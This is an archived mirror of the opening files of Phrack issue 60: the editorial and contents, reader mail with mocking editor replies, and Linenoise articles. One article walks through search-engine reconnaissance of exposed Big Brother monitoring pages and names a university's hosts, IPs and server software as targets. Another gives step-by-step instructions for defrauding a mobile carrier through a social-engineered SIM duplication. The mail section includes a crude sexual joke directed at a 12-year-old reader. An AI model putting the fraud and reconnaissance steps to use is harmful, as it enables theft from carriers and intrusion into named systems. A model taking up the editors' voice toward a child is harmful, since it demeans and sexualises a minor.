💾 Archived View for gemini.spam.works › mirrors › textfiles › magazines › PHRACK › PHRACK60 captured on 2022-06-12 at 13:59:06.
View Raw
More Information
-=-=-=-=-=-=-
==Phrack Inc.==
Volume 0x0b, Issue 0x3c, Phile #0x01 of 0x10
[-]==========================================================================[-]
_. _
* `.__________________.'_'._ ___ ___
/|_____/`._____: /_____ `._____/ // /_______|\
/ \ _`._ \ // _ \____ `. // / .* \
( \ \ `. / /_\ /__/ / / /.__ \.' )
\ _____/ \___`. ) \ : / \ `. \ \_______ /
\| /___/ /___/.__/__/\__\___/\_____/_._\____\ |/
`-' pHRACK#6o `-'
[-]==========================================================================[-]
Jingle bells jingle bells jingle all the way...X-MAS TIME IS PHRACK-MAS TIME.
Wow, number #60 is out. Who ever thought that we will get that far :> Let's
take a look back in time who kept phrack going over all these years. Ladies
and gentlemen, we are proud to present the final, latest, incomplete and
maybe incorrect PHRACK EDITOR IN CHIEF TIMELINE BACK TO THE BEGINNING:
DATE NAME PHRACKZ
----------+-------------------------------------------+--------------------
2001-08-11 (p57..)
1997-09-01 route (p51..p56)
1997-04-09 route, Datastream Cowboy (p50)
1996-11-08 route, Datastream Cowboy, Voyager (p49)
1996-09-01 Voyager, ReDragon, route (p48)
1993-03-01 Erik Bloodaxe (p42..p47)
1991-09-15 Dispater (p33..p41)
1990-05-28 Crimson Death (p31..p32)
1988-10-12 Taran King + Knight Lightning (p20..p30)
1988-06-07 Crimson Death (p18..p19)
1988-04-07 Shooting Shark (p17)
1987-11-01 Elric of Imrryr (p16)
1985-11-17 Taran King + Knight Ligthning (p01..p15)
--[[[ BEGIN OF SPACE & TIME - CREATION OF THE UNIVERSE - THE GENESIS ]]]---
..we came a long way...
---------------------------------------------------------------------------
What's new?
We revived Phrack Prophile to honor those who did some kewl stuff for
the scene.
This issue comes with a new section dedicated to tool annoucements
(Phrack armory). It showcases selected tools that have been released during
the last few month and that we consider cool enough to be mentioned here.
|=[ Table of Contents ]=-------------------------------------------------=|
| 0x01 Introduction Phrack Staff 0x009 kb |
| 0x02 Loopback Phrack Staff 0x00b kb |
| 0x03 Linenoise Phrack Staff 0x01e kb |
| 0x04 Toolz Armory Packet Storm 0x00b kb |
| 0x05 Phrack Prophile on horizon Phrack Staff 0x009 kb |
| 0x06 Smashing The Kernel Stack For Fun And Profit noir 0x03e kb |
| 0x07 Burning the bridge: Cisco IOS exploits FX 0x028 kb |
| 0x08 Static Kernel Patching jbtzhm 0x072 kb |
| 0x09 Big Loop Integer Protection Oded Horovitz 0x067 kb |
| 0x0a Basic Integer Overflows blexim 0x01b kb |
| 0x0b SMB/CIFS By The Root ledin 0x07c kb |
| 0x0c Firewall Spotting with broken CRC Ed3f 0x026 kb |
| 0x0d Low Cost and Portable GPS Jammer anonymous 0x021 kb |
| 0x0e Traffic Lights plunkett 0x015 kb |
| 0x0f Phrack World News Phrack Staff 0x018 kb |
| 0x10 Phrack magazine extraction utility Phrack Staff 0x015 kb |
|=------------------------------------------------------------=[ 0x282 kb |
The latest, and all previous, phrack issues are available online at
http://www.phrack.org. Readers without web access can subscribe to the
phrack-distrib mailinglist. Every new phrack is sent as email attachment
to this list. Every new phrack issue (without the attachment) is announced
on the announcement mailinglist.
To subscribe to the announcement mailinglist:
$ mail announcement-subscribe@lists.phrack.org < /dev/null
To subscribe to the distribution mailinglist:
$ mail distrib-subscribe@lists.phrack.org < /dev/null
To retrieve older issues (must subscribe first):
$ mail distrib-index@lists.phrack.org < /dev/null
$ mail distrib-get.<n>@lists.phrack.org < /dev/null
where n indicated the phrack issue [1..60].
Enjoy the magazine!
Phrack Magazine Vol 11 Number 60, Build 3, Dec 28, 2002. ISSN 1068-1035
Contents Copyright (c) 2002 Phrack Magazine. All Rights Reserved.
Nothing may be reproduced in whole or in part without the prior written
permission from the editors.
Phrack Magazine is made available to the public, as often as possible, free
of charge.
|=-----------=[ C O N T A C T P H R A C K M A G A Z I N E ]=---------=|
Editors : phrackstaff@phrack.org
Submissions : phrackstaff@phrack.org
Commentary : loopback@phrack.org
Phrack World News : pwn@phrack.org
We have some agressive /dev/null-style mail filter running. We do reply
to every serious email. If you did not get a reply, then your mail was
probably not worth an answer or was caught by our mailfilter. Make sure
your mail has a non-implicit destination, one recipient, a non-empty
subject field, and does not contain any html code and is 100% 7bit clean
pure ascii.
|=-----------------------------------------------------------------------=|
Submissions may be encrypted with the following PGP key:
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org
mQGiBD03YTYRBADYg6kOTnjEfrMANEGmoTLqxRZdfxGpvaU5MHPq+XHvuFAWHBm2
xB/9ZcRt4XIXw0OTL441ixL6fvGPNxjrRmAUtXSWrElGJ5lTj7VdJmdt/DbehzGb
NXekehG/r6KLHX0PqNzcr84sY6/GrZUiNZftYA/eUWDB7EjEmkBIMs3bnwCg3KRb
96G68Zc+T4ebUrV5/dkYwFUEAMgSGJpdy8yBWaFUsGOsGkrZZfdf6tRA+GGOnqjS
Lh094L8iuTfbxr7zO4E5+uToantAl56fHhnEy7hKJxuQdW1C0GKktUDhGltUxrob
zsNdN6cBprUT7//QgdOlm3nE2E5myozhhMxLMjjFl1mNo1YrNUEU4tYWm/Zvg9OF
Te8TBADS4oafB6pT9BhGOWhoED1bQRkk/KdHuBMrgwK8vb/e36p6KMj8xBVJNglY
JtIn6Iv14z8PtO62SEzlcgdsieoVncztQgLIrvCN+vKjv8jEGFtTmIhx6f/VC7pX
oLX2419rePYaXCPVhw3xDN2CVahUD9jTkFE2eOSFiWJ7DqUsIrQkcGhyYWNrc3Rh
ZmYgPHBocmFja3N0YWZmQHBocmFjay5vcmc+iFcEExECABcFAj03YTYFCwcKAwQD
FQMCAxYCAQIXgAAKCRB73vey7F3HClWRAJ4qxMAMESfFb2Bbi+rAb0JS4LnSYwCZ
AWI6ndU+sWEs/rdD78yydjPKW9q5Ag0EPTdhThAIAJNlf1QKtz715HIWA6G1CfKb
ukVyWVLnP91C1HRspi5haRdyqXbOUulck7A8XrZRtDUmvMGMO8ZguEjioXdyvYdC
36LUW8QXQM9BzJd76uUl/neBwNaWCHyiUqEijzkKO8yoYrLHkjref48yBF7nbgOl
i1y3QOyDGUT/sEdjE5lzHqVtDxKH9B8crVkr/O2GEyr/zRu1Z2L5TjZNcQO988Hy
CyBdDVsCBwUkdrm/oyqnSiypcGzumD4pYzmquUw1EYJOVEO+WeLAOrfhd15oBZMp
QlQ/MOfc0rvS27YhKKFAHhSchSFLEppy/La6wzU+CW4iIcDMny5xw1wNv3vGrScA
AwUH/jAo4KbOYm6Brdvq5zLcEvhDTKf6WcTLaTbdx4GEa8Sj4B5a2A/ulycZT6Wu
D480xT8me0H4LKl2j7lzhJwzG9HRp846gKrPgj7GVcAaTtsXgwJu6Q7fH74PCrOt
GEyvJw+hRiQCTHUC22FUAx6SHZ5KzwMs3W8QnNUbRBfbd1hPMaEJpUeBm/jeXSm4
2JLOd9QjJu3fUIOzGj+G6MWvi7b49h/g0fH3M/LF5mPJfo7exaElXwk1ohyPjeb8
s11m348C4JqmFKijAyuQ9vfS8cdcsYUoCrWQw/ZWUIYSoKJd0poVWaHQwuAWuSFS
4C8wUicFDUkG6+f5b7wNjfW3hf2IRgQYEQIABgUCPTdhTgAKCRB73vey7F3HCq5e
AJ4+jaPMQEbsmMfa94kJeAODE0XgXgCfbvismsWSu354IBL37BtyVg9cxAo=
=9kWD
-----END PGP PUBLIC KEY BLOCK-----
phrack:~# head -22 /usr/include/std-disclaimer.h
/*
* All information in Phrack Magazine is, to the best of the ability of
* the editors and contributors, truthful and accurate. When possible,
* all facts are checked, all code is compiled. However, we are not
* omniscient (hell, we don't even get paid). It is entirely possible
* something contained within this publication is incorrect in some way.
* If this is the case, please drop us some email so that we can correct
* it in a future issue.
*
*
* Also, keep in mind that Phrack Magazine accepts no responsibility for
* the entirely stupid (or illegal) things people may do with the
* information contained herein. Phrack is a compendium of knowledge,
* wisdom, wit, and sass. We neither advocate, condone nor participate
* in any sort of illicit behavior. But we will sit back and watch.
*
*
* Lastly, it bears mentioning that the opinions that may be expressed in
* the articles of Phrack Magazine are intellectual property of their
* authors.
* These opinions do not necessarily represent those of the Phrack Staff.
*/
|=[ EOF ]=---------------------------------------------------------------=|
phrack.org:~# cat /dev/random
==Phrack Inc.==
Volume 0x0b, Issue 0x3c, Phile #0x02 of 0x10
|=----------------------=[ L O O P B A C K ]=----------------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ phrackstaff ]=------------------------------=|
----| QUOTE of the month
[ Once upon a time in #phrack ]
<OUAH:#phrack> *** PHRACK #60 SCHEDULED FOR 2002-12-27 ***
<chmod_:#phrack> i know
<chmod_:#phrack> its already 2 hours late
<phrack_webmaster_undercover:#phrack> is it already the 27th?
<chmod_:#phrack> yes
<chmod_:#phrack> in some parts of the world
<bajkero:#phrack> Fri Dec 27 02:01:13 CET 2002
[ Meanwhile: phrack_webmaster_undercover doing the
s/27th/28th/g thingie on index.php ]
<phrack_webmaster_undercover:#phrack> hmm. strange, it reads 28th here.
<chmod_:#phrack> they changed recently
<chmod_:#phrack> it was 27th just one hour ago
<phrack_webmaster_undercover:#phrack> mysterious...
----| Statistics of the month
root@phrack.org:/var/log > grep '\.mil' httpd_access.log | uniq | wc -l
248
root@phrack.org:/var/log > grep '\.gov' httpd_access.log | uniq | wc -l
937
|=[ 0x01 ]=--------------------------------------------------------------=|
Editor in Chief!!!!
[ Nope, sorry I'm just the phrackstaff's slave answering the emails. ]
I have been trying to get the phrack magazine but upto date I have not
succeeded.. I come from an African country called "kenya" and it seems they
dont bring them there!!!!!! Please send me the subscription and the
magazines if it posssible and bill me later,.....
[ Kenya, 1.00North, 38.00East, 582,650sq, higest point you can read
phrack: Mount Kenya 5,199m, lowest point: Indian Ocen (0m hehe.).
Potential number of phrack readers: 31,138,735. Hacker growth rate: 1.15%,
hackers life expactancy at birth: 47.02 years, Literacy: age 15 and over
can read phrack. 78.1% of the total population can read phrack.
http://www.cia.giv/cia/publications/factbook/geos/ke.html ]
My address is fredie@kikuyu.com
Yours truly
Fredie..
[ Phrack is free. Nice to know that phrack read in all parts of the world,
we definitely want to hear from you more often ]
|=[ 0x02 ]=--------------------------------------------------------------=|
From: Omar Tarabay <omar_tarabay@yahoo.com>
Subject: a real newbie
Hey guys,
[ Hello dude ]
I read your last edition and it was just great, i visited the site daily
to see if the new edition is down or not.
[ oh, so that's you in the weblogs? Hi :> ]
I realy liked the files on your last edition (lockpicking was the greatest)
i won't ask questions that you expect me to ask like 'please tell me how to
hack into hotmail or the pentagon'.
[ Oh man, you missed it, I had some 0day for you ]
put i read myself and learn things myself but as a newbie i don't find
most of your articles understandable,its only for experts and pros so
if you can write articles for newbies like me and many others who want to
learn please do, and about myself i amTURBOWEST(i am sure that u can know
my real name easily but please don't say it)
[ Your real name is: TURBOEAST! ]
I am 12 y/o
[ Nothing to be ashamed of. We will be at the same age in 13 years. ]
I program in python . I am trying to install linux on my PC but i face
some problems which i am trying to solve(i read a lot of books about
linux)
[ You read these linux books? What did they teach you? How to format
your harddrive, install a webcam and masturbate with 13 years old
girls on netmeetings? ]
finaly i would like to say thanks for all the phrack staff and ask them to
reply to me.
TURBOWEST
[ Nothing. Hope you wont get any problems with the pedophile child
molesters who get back to you now... ]
|=[ 0x03 ]=--------------------------------------------------------------=|
From: George escobar <dierwolf2@yahoo.com>
Subject: thanks
i found your site informative. thanks
dierwolf2
[ at your service! We dont take money donation, however you can send
female shaped human beings. ]
|=[ 0x04 ]=--------------------------------------------------------------=|
From: "Anthony Webb" <a_gentle_man@hotmail.com>
Subject: OK..I'm stupid, but help me anyway
OK, I admit it...I love the website, but I can't find my way around in it.
Yeah, I know, I'm dumber than a bag of rusty hammers. But I need help.
[ It is a good start to admit it, let's look at your case ]
I am looking for a simple program to keep track of my companies phone calls
without the company knowing I'm doing it.
[ Oh man ... that's not good at all ... ]
No, I am NOT paranoid, they ARE out to get me.
[ Honestly, you are not! Be prepared for the worst! Watch Jackie Chan
and Akira movies on a daily base to train your ninja-style to be
prepared to whatever there might come. Huh? Did you hear that?
THEY ARE ALREADY AT YOUR DOOR. RUUUUUUUUUUUUUUUUUUN! ]
I don't have $1100 to $2500 to spend on Call Accounting Software and I
don't need all those bells and whistles anyway. I just need to keep track
of who the people are talking to, what time, what extension, whether its
outbound or inbound, etc. The company has an Avaya (Lucent) Merlin Magix
PBX system. By tracking who they call I can establish that they are indeed
guilty of harrassment against my paranoid little butt.
Got any ideas? gentle....but pissed at the organization.
[ Are you sure that noone of your coworkers watched this email? ]
|=[ 0x05 ]=--------------------------------------------------------------=|
From: domino@hush.com
can I please get those zines in zip format, they are interesting, but I use
windows. If not, can you complete the articles? I was reading one, and it
was in txt and it said 9 of 10. there was no link to the 10th article. this
happened many times with different ones. Yeah anyways, I would be nice to
have those as zip files for those who don't have linux as would many others,
or at least fix the links. (not much of a problem just missing a page)
Great magazine, I just wish that I could complete it. thanx.
[ (man winzip) || (man google) || (man brain) || (man life) || (man gun) ]
|=[ 0x06 ]=--------------------------------------------------------------=|
From: "melissa royer" <melissa.royer@verizon.net>
Hello
I am having some trouble compiling the code extracted from your site. I
have the code on linux RH 7.3 Is this the problem??
[root@lenny Loki]# make linux
make[1]: *** [surplus.o] Error 1
make[1]: Leaving directory `/loki/loki2/Loki'
make: *** [linux] Error 2
[ I swear this dood^H^H^H^H Melissa really tried to compile that 7 years old
source from p49. Unless we turn into a red-hat-gcc-problems-support-center
will we not give any hints. Rumours about any fusion on the latter topic
can not be confirmed or denied at this point. ]
|=[ 0x07 ]=--------------------------------------------------------------=|
[ someone with a 'new' and 'unbreakable' crytpo idea of his own ]
[ blah blah ] ...didn't know Applied Cryptography, thanks for the link.
[ blah blah ] ...one time pad are maybe not very usefull but they are for
hackers ...[ blah blah ]. When a friend of mine rooted NASA i used one-time
pads to tell my other friends [ blah blah blah ].
[ So what's your general recommendation then? That we should banish
blowfish and use one-time-pad's because they are..err..better when
we want to tell our...err..friends that we ..err..hacked NASA? hu? ]
|=[ 0x08 ]=--------------------------------------------------------------=|
From: "Bowman, Michael" <Michael.Bowman@ed.gov>
SUBSCRIBE Phrack
[ Dear Government Of Education, you failed to subscribe where your
our schoolars already succeeded. Please ask your classmate if you
have any further problems. We are awaiting your second trial until
next monday or we are urget to inform the director about your lack
of success. ]
|=[ 0x09 ]=--------------------------------------------------------------=|
[ from web comments to phrack 3-9, 2002-11-07
FromL laipie@ms14.url.com.tw
Hello
I want to download some material from your website.
[ Our links are protected by some kind of intelligent checker. You
have to press ALT-Q while clicking on the link (quickly!). ]
|=[ 0x0a ]=--------------------------------------------------------------=|
From: "Dustin Smith" <dustinsmith01@hotmail.com>
Subject: The unfortunate life...
Well you may know me as the "script kiddy" but lately i ma having
illusions of Grandure and am aspiring to be...I dont dare say it
cuz I am stillso far off but yet so close. So a subsription to your Holy
grail will be just peaches...In all humbleness of the greatness
that is possed by few I bid you adue...
[ THIS IS NOT MADE UP! We really get these kind of emails! ]
_________________________________________________________________
Broadband? Dial-up? Get reliable MSN Internet Access.
[ Get a brain first! ]
|=[ 0x0b ]=--------------------------------------------------------------=|
From: "Princess Of Darkness" <broken_flowers@hotmail.com>
Subject: symantec
uhh... hello.
::waves::
My name's Rosie. hi. I really actually know very little to nothing about
hacking.. and it'd like to know more. I know links, websites, etc. etc.
[ That's a beginning!
Lesson2: "How do I read the website".
Lesson3: "How do I understand the website"
Lesson4: "How do I utilize the website"
Lesson5: "How do I hire for a lawyer"
Lesson6: "How do I escape the feds" ]
but when you can't even write html it makes things a little difficult. God
I feel so retarded. don't laugh. I'm a lam0r, i know.
[ The real reason why phrack comes as .txt is because noone knows
this < > -thingie either. ]
anyway, thanks a lot for like.. reading this...
[ thanks a lot for like.. writing this... ]
and uh.. don't find out where i live.. cos that's.. scary.. O.o;;
adios
~0513~
|=[ 0x0c ]=--------------------------------------------------------------=|
From: anthony charles <bemoeasy@yahoo.com>
Subject: EAGER STUDENT
Dear editor,
i was directed by somebody i met online that i should
contact your mag about being a hacker.I'm resident in
Nigeria,West Africa. i would be very grateful if you
can assist me because it has been my dream to be a
hacker.
The users in the hackers lounge in yahoo chat are too
fast for me. i need to learn the rudiments of becoming
a hacker.Every start's somewhere...this is where i
start if you would honor me by imparting knwledge to
an eager student.
Awaiting your reply.
yours sincerely
Anthony Charles
[ no comment ]
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3c, Phile #0x03 of 0x10
|=-----------------------=[ L I N E N O I S E ]=-------------------------=|
|=-----------------------------------------------------------------------=|
|=-------------------------=[ Phrack Staff ]=----------------------------=|
--[ Contents
1 - The Dark Side of NTFS
2 - Watching Big Brother
3 - Free mobile calls
4 - Lawfully Authorized Electronic Surveillance [LAES]
5 - Java Tears down the Firewall
--[ 1 - The Dark Side of NTFS
Ok, this didnt fit anywhere else so we put it here:
http://patriot.net/~carvdawg/docs/dark_side.html
--[ 2 - Watching Big Brother
by da_knight <x667576616a6e@yahoo.com>
Have you ever wanted to be the one doing the watching? If you are a
system administrator of UNIX / Linux servers, then you may be aware of a
product called Big Brother, which can be downloaded from 'http://bb4.com/'.
This article is by no means technical, simply because it doesn't need to
be. It is divided into two sections, so bear with me for the briefing on
Big Brother (BB).
BB is a program that will monitor various computer equipment; things it
can monitor are connectivity, cpu utilization, disk usage, ftp status, http
status, pop3 status, etc. As you might imagine, this information is very
important to an organization. BB is your standard client / server setup.
The server software can run on various flavors of UNIX, Linux and NT. The
client software is available for UNIX, Linux, NT, Mac, Novell, AS/400, and
VAXEN; some client software is provided by 3rd-party vendors and not
supported by BB4 Technologies.
The cool thing about this is all of this information is viewed on a web
page. So, if you have multiple servers that you have to maintain, with this
product you would be able to go to one web page and quickly get a status of
all of those servers - pretty handy. When everything is fine your status is
"green", major problems are indicated by "red".
Example: The connectivity (conn) status is done by pinging the
equipment in question; if the ping fails then it would appear as a red zit
on the web page. When tests such as this fail, BB can be configured to
automatically page the administrator.
Here is a quick run down of the statuses, listed in order of severity:
red - Trouble; you've got problems.
purple - No report; the client hasn't responded in the last 30 minutes.
yellow - Attention; a threshold has been crossed.
green - OK; take the day off.
clear - Unavailable; the test has been turned off.
blue - Disabled; notification for this test has been turned off.
The status is also reflected in the title of the web page, so it only
takes one red zit to cause the web page title to start with "red:Big
Brother"; we're going to get into this in a minute.
A common thing for administrators to do is to monitor their most
important systems with this product, as well as the most important aspects
of each system. If you have a web server, you would want to monitor the
http and conn statuses just to make sure people are still able to connect
to the server. Other tests I have seen are to check Oracle, or to list all
connected users. Hell, they even have a way to add weather reports. The
point is, it's pretty limitless what can be monitored, it just depends on
what you deem important.
Now that you have a little bit of an understanding what BB can do, I
want to quote two things from BB4 Technologies (BB4) FAQ - Section 5:
Security Considerations (http://bb4.com/bb/help/bb-faq.html#5.0).
Everything in that section of the FAQ should be considered, but we'll focus
on these two.
"BB does not need to run as root. We suggest creating a user 'bb' and
running bb as that user." "We recommend password-protecting the Big Brother
web pages"
So, you ask yourself, why are these things important to me? Well, one,
you know that administrators who run this software probably have it setup
using the user 'bb', and that they may also be running it with root level
access. This gives you a valid user account on a system and this account
probably wouldn't be used by a human very often so the password could be
something simple. But that's not the point of this article. The second
thing is that BB4 realizes the information on these web pages is extremely
important and they recommend password-protecting them.
Following this logic you then say these are web pages, so it's running
on a web server and if they're not password-protected and the server is
visible to the WWW, then...that's right search engines will find these
pages and serve them up when you know what to look for.
What are you waiting for? Go to 'http://www.google.com' and search for
"green:Big Brother" (include the quotes; it makes it more refined). You
will get about 16,200 matches. Now that doesn't mean that those are all
unique because it will have numerous pages from the same site, but you get
the point. I would estimate that there are over 200 sites that can be
viewed this way. Remember to search for all the other statuses too, just
change the name of the color. One more thing, I chose Google for a reason.
Some of these sites no longer run the BB product, but Google has a nice
ability to view cached pages, so you can still glean information from them.
After you scroll through the list of sites you will realize that the
majority of them are either small ISP's or colleges. I'm going to pick on a
college, an Ivy League one, no less. I can tell you from looking at this
particular BB site that the BB server is running on a computer called
'artemis.cs.yale.edu' and the IP address is '128.36.232.57'. Also the
computer 'rhino.zoo.cs.yale.edu' is having some serious issues. How did I
find the IP address? Simple; if you click on the "green" or whatever color
button under the "conn" column, you will see a web page that has
information similar to this:
---------------------------------------------------------
rhino.zoo.cs.yale.edu - conn
---------------------------------------------------------
green Sun Jun 30 01:33:15 EDT 2002 Connection OK PING 128.36.232.12
(128.36.232.12) from 128.36.232.57 : 56(84) bytes of data. 64 bytes
from 128.36.232.12: icmp_seq=0 ttl=255 time=379 usec
--- 128.36.232.12 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss round-trip
min/avg/max/mdev = 0.379/0.379/0.379/0.000 ms
---------------------------------------------------------
Right there you know that the ping command was trying to ping
'128.36.232.12', in this case, 'rhino.zoo.cs.yale.edu' and that it came
from '128.36.232.57' or 'artemis.cs.yale.edu'. Let's see what else we can
find out.
I can see that almost all of their servers run Tripwire, so they are
UNIX systems, and you probably would have a hard time creating a backdoor
account on these systems. On another page, we get to see the users who are
currently logged in. Currently we have 33 users logged in, and seeing as
it's 1:33 AM, I think some people left their computers logged in.
I want to get more information about Yale's servers, so let's go back
to Google and look for another page from Yale, but this time look for
'zelda.cs.yale.edu'. Now we can get some good information. When this site
is displayed you will see quite a few servers, listed as well as several
departments. If you want to know what software 'plucky.cs.yale.edu' is
using to run it's HTTP services just click on the 'green' button:
----------------------------------------------------
plucky.cs.yale.edu - http
----------------------------------------------------
green Sun Jun 30 01:45:21 EDT 2002
http://plucky.cs.yale.edu - Server OK
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Content-Location: http://plucky.cs.yale.edu/index.html Date: Sun, 30
Jun 2002 05:45:21 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Tue, 12 Jan 1999 20:49:40 GMT ETag:
"54b4ec126d3ebe1:4051"
Content-Length: 2226
Seconds: 0.01
----------------------------------------------------
What the hell? They're actually running IIS 4.0? Don't they know how
insecure that is? But I digress. From that information you know that the
server is some version of Windows NT and it has IIS 4.0 running, that could
be handy.
Zelda is also showing they monitor printers. Now that can be fun; what
if the message "I think therefore I hack!" is sent to the printer
'philo-printer.philosophy.yale.edu'? And in case you're wondering, the
printer is an 'HP LaserJet 4050 Series'; I just had to click on the button
under the "printer" column to find that out.
Elsewhere on this same site, I find that several servers are running
TELNET, POP3, Oracle, FTP, and IMAP. Most of these services will gladly
tell you what version of the software they are running. Oracle, for
instance, is even nice enough to show you all of the connected users. How
can you thank them enough for this valuable information?
Also, it seems only the geologists at Yale feel they have data that is
of great importance. I wasn't able to view what they monitor because of
access permissions on their web site, but I do know that they are running
their web server on Apache version 1.3.26.
As you can see, I would be able to gather an enormous amount of vital
infrastructure data in a few minutes. Plus, I didn't break any laws. These
web pages are posted in a manner that the entire world can view them. It
might take someone 10 minutes or more to find out a few facts about 1
particular system, but in that amount of time I found numerous facts about
over 40 systems at the same organization. Thanks Big Brother!
I feel it should be mentioned that the information found on these web
pages is information that most organizations don't even let employees
outside of the IT department see. I guess I should feel special since Yale
must feel that I'm not a security risk, otherwise they would have made me
authenticate to their web sites.
Imagine this; an ISP that lists all of their routers complete with IP's
and model information. If you had that, you could possibly rely on
vulnerabilities in SNMP discovered earlier this year, or better yet, rely
on the default accounts / passwords setup on these types of devices. I only
bring this up because I know I did come across an ISP that did list routers
and the majority of the sites returned by Google seemed to be smaller ISPs.
Also, about searching on Google, I would recommend searching for
"red:Big Brother", because these pages will always give you more
information than when the system is running perfectly.
Finally, I didn't write this article to condone breaking into systems
and providing a means to that end. I wrote this because security is
extremely important; with the information that is found because of this one
product your environment could be compromised. If you are a system
administrator for a site that shows up on Google you may want to secure
your BB web pages, because by the time you read this the world is going to
know your infrastructure.
--[ 3 - Free Mobile Calls
by eurinomo
This bug can be utilized to make FREE CALS, FREE SMS, and even FREE
WAP.
1st you have to see if you mobile network has the bug. Just call the
service free number (to don't waste money) and say to them that you card
is locked that you forgot your fone in your litle syster's room and your
mobile says "Sim Card is lock" or something, say that maybe yor sister have
wronged the puk because the phone was powered off and now it's on. Then the
guy must say that you have to go to one of theyr Mobile Shops and say the
problem and they will give you another card with the same number and money
as the old. Ask them how much it will cost and the guy must say it's for
free! :-)
Now the Matirial that youl need:
- A mobile phone not nokia (it's better to be yours and not unlocked)
- And a nokia(can be a unlocked 1 or steled or borrowed. Do as you wish!)
How to do it:
Mobile1 = Not nokia
Mobile2 = Nokia
Put the card in the mobile1 and enter your pin. When it booted up put this
code 3 times:
- *04*00000000*00000000*00000000#
or try
- *05*00000000*00000000*00000000#
Check the manual and search for the code to change the puk if the above
examples dont work. Or give a email to motorola and say that you have a
motorola phone and that you want to change the puk and you know that is a
code to change (the code isn't ilegal and it's also specified in the
manual).
If the code isnt the one that i have telled is 1 nerby. If you have a
motorola flare when you put **04* or **05* it'ill say "Enter the old Puk"
or something like that automatly and then ask the new puk code 2 times. But
the important is to lock your card, i think you can do it also if you wrong
the pin 3 times and then enter a wrong puk and vuala it's locked! But what i
was saing about the code it's was tested but you can try this last too, use
it in your on risk.
Now goto the Mobile Shop and say what hapened (that your litle sister
or a doughter of an friend of your mother or something like that...) And
then they will dupicate the card and they will give you the new one and the
old one. At last they normaly give the 2.
Now the easy part. Put the old card in the nokia and boot it up and you
see thats not locked!!! and if you put on anoher phone not nokia its says
that its locked, the Bug is a more nokia Bug that a network Bug. Now send a
SMS with the old card and see if disconted money. Then see if was disconted
from the new card if not than it's because the Network has the bug and you
can waste the money off the old card as you wish but you only have 2 weeks
or soo before they cut it out of the Network and it's completly lock, but
the new card stil have the same money and you can do it again and again
that i think they woldn't catch you.
This was tested in the Portugal Vodafone Mobile Phone Network.
--[ 4 - Introduction to Lawfully Authorized Electronic Surveillance (LAES)
by Mystic <mystic@lostways.net>
In 1994 Congress adopted the Communications Assistance for Law Enforcement
Act (CALEA). It's intent was to preserve but not expand the wiretapping
capabilities of law enforcement agencies by requiring telecommunication
providers to utilize systems that would allow government agencies a basic
level of access for the purpose of surveillance. The act however does not
only preserve the already existing capabilities of law enforcement to tap
communications, it enhances them, allowing the government to collect
information about wireless callers, tap wireless content, text messing, and
packet communications. The standard that resulted from this legislation is
called Lawfully Authorized Electronic Surveillance or LAES.
A Telecommunications Service Provider (TSP) that is CALEA compliant
provides means to access the fallowing services and information to Law
Enforcement Agencies (LEAs):
1. Non-call associated: Information about the intercept subjects that is
not necessarily related to a call.
2. Call associated: call-identifying information about calls involving the
intercept subjects.
3. Call associated and Non-call associated signaling information: Signaling
information initiated by the subject or the network
4. Content surveillance: the ability to monitor the subjects'
communications.
This process is called the intercept function. The intercept function is
made up of 5 separate functions: access, delivery, collection, service
provider administration, and law enforcement administration.
----[ 4.1 The Access Function (AF)
The AF consists of one or more Intercept Access Points (IAPs) that
isolate the subject's communications or call-identifying information
unobtrusively. There are several different IAPs that can be utilized in
the intercept function. I have separated them into Call Associated and
Non-call Associated information IAPs and Content Surveillance IAPs:
Call Associated and Non-call Associated information IAPs
--------------------------------------------------------
- Serving System IAP (SSIAP): gives non-call associated information.
- Call-Identifying Information IAP (IDIAP): gives call associated
information and in the form of the fallowing call events for basic
circuit calls:
Answer - A party has answered a call attempt
Change - The identity or identities of a call has changed
Origination - The system has routed a call dialed by the subject or the
system has translated a number for the subject
Redirection - A call has been redirected (e.g., forwarded,
diverted, or deflected)
Release - The facilities for the entire call have
been released TerminationAttempt - A call attempt to an
intercept subject has been detected
- Intercept Subject Signaling IAP (ISSIAP): provides access to
subject-initiated dialing and signaling information. This includes if the
intercept subject uses call forwarding, call waiting, call hold, or
three-way calling. It also gives the LEA the ability to receive the
digits dialed by the subject.
- Network Signaling IAP (NSIAP): Allows the LEA to be informed about
network messages that are sent to the intercept subject. These messages
include busy, reorder, ringing, alerting, message waiting tone or visual
indication, call waiting, calling or redirection name/number information,
and displayed text.
Content Surveillance IAPs
-------------------------
The fallowing are content surveillance IAPs that transmit content using
a CCC or CDC. An interesting note about content surveillance is that
TSPs are not responsible for decrypting information that is encrypted by
the intercept subject unless the data was encrypted by the TSP and the
TSP has the means to decrypt it.
- Circuit IAP (CIAP): accesses call content of circuit-mode communications.
- Conference Circuit IAP (CCIAP): Provides access to the content of
subject-initiated Conference Call services such as three-way calling and
multi-way calling.
- Packet Data IAP (PDIAP): Provides access to data packets sent or received
by the intercept subject.
These include the fallowing services:
ISDN user-to-user signaling
ISND D-channel X.25 packet services
Short Message Services (SMS) for cellular and Personal Communication Services
Wireless packet-mode data services (e.g., Cellular Digital Packet Data
(CDPD), CDMA, TDMA, PCS1900, or GSM-based packet-mode data services)
X.25 services
TCP/IP services
Paging (one-way or two-way)
Packet-mode data services using traffic channels
----[ 4.2 The Delivery Function (DF)
The DF is responsible for delivering intercepted communications to one
or more Collection Functions. This is done over two distinct types of
channels: Call Content Channels (CCCs) and Call Data Channels (CDCs).
The CCCs are generally used to transport call content such as voice or
data communications. CCCs are either "combined" meaning that they carry
transmit and receive paths on the same channel, or "separated" meaning
that transmit and receive paths are carried on separate channels. The
CDCs are generally used to transport messages which report
which is text based such as Short Message Service (SMS). Information
over CDCs is transmitted using a protocol called the Lawfully Authorized
Electronic Surveillance Protocol (LAESP).
----[ 4.3 The Collection Function (CF)
The CF is responsible for collecting and analyzing intercepted
communications and call-identifying information and is the
responsibility of the LEA.
----[ 4.4 The Service Provider Administration Function (SPAF)
The SPAF is responsible for controlling the TSP's Access and Delivery Functions.
----[ 4.5 The Law Enforcement Administration Function (LEAF)
The LEAF is responsible for controlling the LEA's Collection Function
and is the responsibility of the LEA.
